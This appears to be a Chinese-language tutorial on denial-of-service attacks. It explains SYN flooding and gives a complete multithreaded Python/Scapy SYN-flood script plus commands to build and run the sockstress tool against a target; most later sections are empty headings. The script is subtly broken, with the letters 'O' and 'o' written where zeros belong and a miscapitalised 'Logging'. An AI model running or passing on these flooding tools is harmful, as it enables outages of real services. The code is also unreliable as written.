拒绝服务DoS

  • 拒绝服务 DoS 原理
  • Syn-Flood洪水攻击、IP地址欺骗
  • Smurf攻击、Sockstress
  • TearDrop
  • DNS放大攻击
  • SNMP放大攻击
  • NTP放大攻击
  • 应用层Dos
  • 拒绝服务攻击工具-RUDY、Hping3、LAND攻击、Siege
  • 拒绝服务攻击工具-NMAP、匿名者拒绝服务工具包(匿名者发布的DoS工具)、其他拒绝服务工具-XOIC、HULK、DDOSIM、GoldenEye



拒绝服务 DoS 原理

拒绝服务 DoS,是利用程序漏洞或一对一资源耗尽的 Denial of Service 拒绝服务。

但 DoS 是一对一的攻击,完全拼各自的资源,效果不好。

分布式拒绝服务 DDos,是多对一的攻击,汇集资源,重点在于量大。

正常用户访问网页的过程:

  • 用户发送请求(SYN 包)
  • 网站服务器接受请求,返回(SYN-ACK包)
  • 用户再次发送(ACK包),用户和网站的服务联通

任务:拒绝服务DoS_拒绝服务攻击

 


Syn-Flood洪水攻击、IP地址欺骗

Syn-Flood洪水攻击原理:网站服务器服务的顾客数是有限的(TCP最大连接数,并不是服务器的CPU和内存),我们用自己操控的大量的电脑来占用网站服务器资源(不断发起请求,源源不绝),那其他用户访问这个网站,就没有接待资源了(申请服务,网站服务拒绝)。

任务:拒绝服务DoS_拒绝服务攻击_02


 

syn_flood.py 脚本:

# _*_ coding: utf-8 _*_
# 设置编码,支持中文字符

from scapy.all import *
# 导入操纵报文和网站交互的包,可实现洪水攻击的发包操作
from time import sleep
import random
import thread
# 导入线程包
import logging
# 导入日志包
Logging.getLogger('scapy.runtime').setLevel(logging.ERROR)

# 给用户的输入提示,保证输入格式
if len(sys.argv)!= 4:
	print "用法:./syn_flood.py [IP地址] [端口] [线程数]"
	print "举例:./syn_flood.py 1.1.1.1 80 20"
	sys.exit()
	
target = str(sys.argv[1])  # 目标地址
port = int(sys.argv[2])    # 端口
threads = int(sys.argv[3]) # 线程数,多线程实现大量的攻击

print "正在执行 SYN flood 进攻,按 Ctrl+C 止攻。"

def synflood(target, port):
	while 1:
		x = random.randint(0, 65535)
		# 随机选择一个端口,作为源端口
		send( IP(dst=target) / TCP(dport=port, sport=x), verbose=O )
		# 发送请求,占用目标服务器的TCP连接数
		
for x in range(o, threads):  
# 从 0 到 线程数
	thread.start_new_thread( synflood, (target, port) )
	# 在目标的ip和端口,把所有线程数都打出去

 


Smurf攻击、Sockstress

# Python 调用攻击脚本
./sockstress.py 1.1.1.1 21 200

// C 调用攻击脚本
下载工具:https://github.com/defuse/sockstress
gcc -Wall -c sockstress.c
gcc -pthread -o sockstress sockstress.o
./sockstress 1.1.1.1:80 eth0
./sockstress 1.1.1.1:80 eth0 -p payloads/http

 


TearDrop

 

DNS放大攻击

 

SNMP放大攻击

 

NTP放大攻击

 

应用层Dos

 

拒绝服务攻击工具-RUDY、Hping3、LAND攻击、Siege

 

拒绝服务攻击工具-NMAP、匿名者拒绝服务工具包(匿名者发布的DoS工具)、其他拒绝服务工具-XOIC、HULK、DDOSIM、GoldenEye